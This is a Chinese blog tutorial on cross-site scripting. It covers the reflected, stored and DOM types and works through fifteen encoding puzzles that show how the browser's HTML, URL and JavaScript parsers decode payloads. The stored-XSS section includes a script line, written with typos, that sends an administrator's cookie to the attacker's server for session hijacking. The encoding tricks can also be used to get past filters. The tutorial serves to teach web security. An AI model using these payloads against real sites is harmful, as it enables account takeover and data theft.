XSS-跨站脚本攻击

空暝

已于 2024-08-17 21:14:31 修改

阅读量1.5k

点赞数 32

CC 4.0 BY-SA版权

分类专栏：渗透攻击学习文章标签： xss 前端 web

于 2024-08-17 21:14:04 首次发布

本文链接：https://blog.csdn.net/m0_61858762/article/details/141286557

字符实体(character entities)

HTML字符实体(HTML character entities)

字符引用（character references）

例题3 -- Ugandan Knuckles

XSS简介

XSS被称为跨站脚本攻击（Cross-site scripting），由于和CSS（Cascading Style Sheets）重名，所以改为XSS。XSS主要基于javascript语言完成恶意的攻击行为，因为javascript可以非常灵活的操作html、css和浏览器。

XSS就是指通过利用网页开发时留下的漏洞（由于Web应用程序对用户的输入过滤不足），巧妙的将恶意代码注入到网页中，使用户浏览器加载并执行攻击者制造的恶意代码，以达到攻击的效果。这些恶意代码通常是JavaScript，但实际上也可以包括Java、VBScript、ActiveX、Flash 或者普通的HTML。当用户访问被XSS注入的网页，XSS代码就会被提取出来。用户浏览器就会解析这段XSS代码，也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网，并且浏览器中有javascript 解释器，可以解析javascript，然而由于浏览器并不具有人格，不会判断代码是否恶意，只要代码符合语法规则，浏览器就会解析这段XSS代码。

XSS分类

XSS分类可以分为反射型、DOM型和存储型。

反射型XSS（非持久型XSS）

定义与工作原理：反射型XSS发生在攻击者通过特定的方式诱惑受害者访问一个包含恶意代码的URL时。当受害者点击这个恶意链接时，注入的脚本被传输到目标服务器上，然后服务器将注入的脚本反射回受害者的浏览器，浏览器解析并执行这段恶意脚本。
实例：攻击者可能会创建一个看起来正常的链接，但实际上链接中包含了恶意脚本。当用户点击这个链接时，恶意脚本在用户的浏览器中执行。

存储型XSS（持久型XSS）

定义与工作原理：存储型XSS与反射型XSS的主要区别在于，提交的代码会存储在服务器端（如数据库、内存、文件系统等），下次请求目标页面时无需再次提交XSS代码。当用户访问存储了恶意代码的页面时，恶意脚本会被触发执行。
实例：攻击者可以将恶意代码上传或储存到网站的留言板、评论区等交互处。只要受害者浏览这些包含恶意代码的页面，就会执行恶意脚本。

存储型XSS又叫持久型XSS。一般而言，它是三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上，然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面，攻击者精心构造XSS代码，保存到数据库中，当其他用户再次访问这个页面时，就会触发并执行恶意的XSS代码，从而窃取用户的敏感信息。

特点

• 持久性跨站脚本

• 持久性体现在JS代码不是在某个参数（变量）中，而是写进数据库或文件等可以永久保存数据的介质中，如留言板等地方

数据流量走向：浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器

例子

通过写JavaScript语句，打入网站后台，存入到数据库中。当管理员对我们的语句进行处理的时候触发JS代码我们可以偷到管理员的cookie。然后通过GET传递cookie值到自己的服务器文件中。从而可以实现无账号密码登录网站后台。

<script>window.location.herf=“地址?cokkie=”+document.cookie</script>
get --- 发送到自己服务器的文件中

DOM型XSS

定义与工作原理：DOM XSS与前两种类型的区别在于，它不需要服务器端的参与。触发XSS靠的是浏览器端的DOM解析，完全是客户端的事情。攻击者通过修改页面的DOM结构来执行恶意脚本。
实例：攻击者可能会利用网站的前端代码中的漏洞，通过修改DOM结构来注入恶意脚本，这些脚本在浏览器解析页面时执行。

注意：不是所有的标签都能解析javascript，可以解析的标签a、div、p、pre等标签。a标签中的href支持javascript伪协议，所以可以直接触发js代码。但是下面的不能触发

XSS常用的测试方法：alert、confirm、prompt......

HTML文档解析过程

例题

1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a> ----- 不能成功解析
href通常是通过游览器的地址栏传输的，是可以识别URLcode编码。所以编码没问题，但是却接解析不了
URL 编码 "javascript:alert(1)"

原因：因为在加载网页的时候不会直接解码URLcode解码，此时href不能识别"javascript"，所以并不会执行js代码。当点击的时候游览器才进行URLcode解码，跳转网页但是却不能执行代码。

2.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29"> ----- 成功解析
HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"

原因：由于"javascript"是HTML字符实体编码，在代码执行时就执行解码。此时可以识别"javascript"从而执行后面的代码。

html实体编码 --- 当访问这个网页的时候，会自动转码。格式是# + x（表示16进制）+ 对应的16机制。html实体编码是优先于URL解码协议。一般顺序是HTML实体编码、URLcode编码

3.<a href="javascript%3aalert(3)"></a>  ----- 不能成功解析
URL 编码 ":"

原因：由于完整的"JavaScript"代码包含":"，所以此时a标签的herf依然不能识别"JavaScript"代码。所以不能执行。

4.<div>&#60;img src=x onerror=alert(4)&#62;</div>  ----- 不能成功解析
HTML字符实体编码 < 和 >

原因： 当我们进入数据中状态中，确实可以对其内容中的编码字符进行解码，但是不会再进入标签开始状态。即将img标签当成字符串进行显示，而不会再进入标签开始状态，从而不作为代码执行。

5.<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>  ----- 不能成功解析
HTML字符实体编码 < 和 >

原因：在RCDATA元素标签下，即在解析器下如果遇到了`textarea`和`title`，统一将其标签里面的内容解析成文本。除非遇到其对应的结束标签

6.<textarea><script>alert(6)</script></textarea>  ----- 不能成功解析

原因：同第五题的原因

7.<button onclick="confirm('7&#39;);">Button</button>  ----- 成功解析
HTML字符实体编码 " ' " （单引号），正常解析然后执行。

8.<button onclick="confirm('8\u0027);">Button</button>  ----- 不能成功解析
Unicode编码 " ' " （单引号）
Unicode编码：ASCII编码表的十六进制在前面加两个零，HTML自带Unicode编码。

原因：编码符号

在JavaScript中两个规范

严格区分大小写
不能编码符号

9.<script>&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;&#59</script>  ----- 不能成功解析
HTML字符实体编码 alert(9);

原因：script标签将其里面的内容视为文本元素，并不能去进行解码。

10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script>  ----- 成功解析
Unicode 编码 alert，HTML自带Unicode编码。

原因：script支持Unicode编码。，所以认识Unicode编码，能成功解析从而去执行代码。

11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>  ----- 不能成功解析
Unicode 编码 alert(11)

原因：编码符号不能执行

12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>  ----- 不能成功解析
Unicode 编码 alert 和 12

原因：script标签在解码之后将"12"识别为字符串，但是"12"没有用引号包裹起来所以报语法错误。

13.<script>alert('13\u0027)</script>  ----- 不能成功解析
Unicode 编码 " ' " （单引号）

原因：编码符号

14.<script>alert('14')</script>  ----- 成功解析
Unicode 编码换行符（0x0A）

原因：script支持换行解析。

15.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">15</a>    -----   成功解析

先进行HTML实体解码，然后是URL解码，最后才是Unicode解码。内容为：javascript:alert(15)

原因：安装HTML实体编码、URLcode编码、Unicode编码。可以识别代码从而执行。

在解析一篇HTML文档时主要有三个处理过程：HTML解析，URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分，其工作原理已经在相应的解析器规范中明确写明。

HTML解析

HTML词法解析细则在这里。一个HTML解析器作为一个状态机，它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中，任何时候它只要遇到一个<符号（后面没有跟``符号）就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”，“前属性名状态(before attribute name state)”......最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时，它会继续解析，每当发现一个完整的标签，就会释放出一个token。

数据状态中的字符引用;
RCDATA状态中的字符引用;
属性值状态字符引用.

这里有三种情况可以容纳字符实体，“数据状态中的字符引用”，“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码，对应的解码字符会被放入数据缓冲区中。例如，在问题4中，“<”和“>”字符被编码为“&#60”和“&#62”。当解析器解析完<div>并处于“数据状态”时，这两个字符将会被解析。当解析器遇到“&”字符，它会知道这是“数据状态的字符引用”，因此会消耗一个字符引用（例如“&#60”）并释放出对应字符的token。在这个例子中，对应字符指的是“<”和“>”。读者可能会想：这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束，然后其中的脚本会被执行？答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此，就不会建立新标签。因此，我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。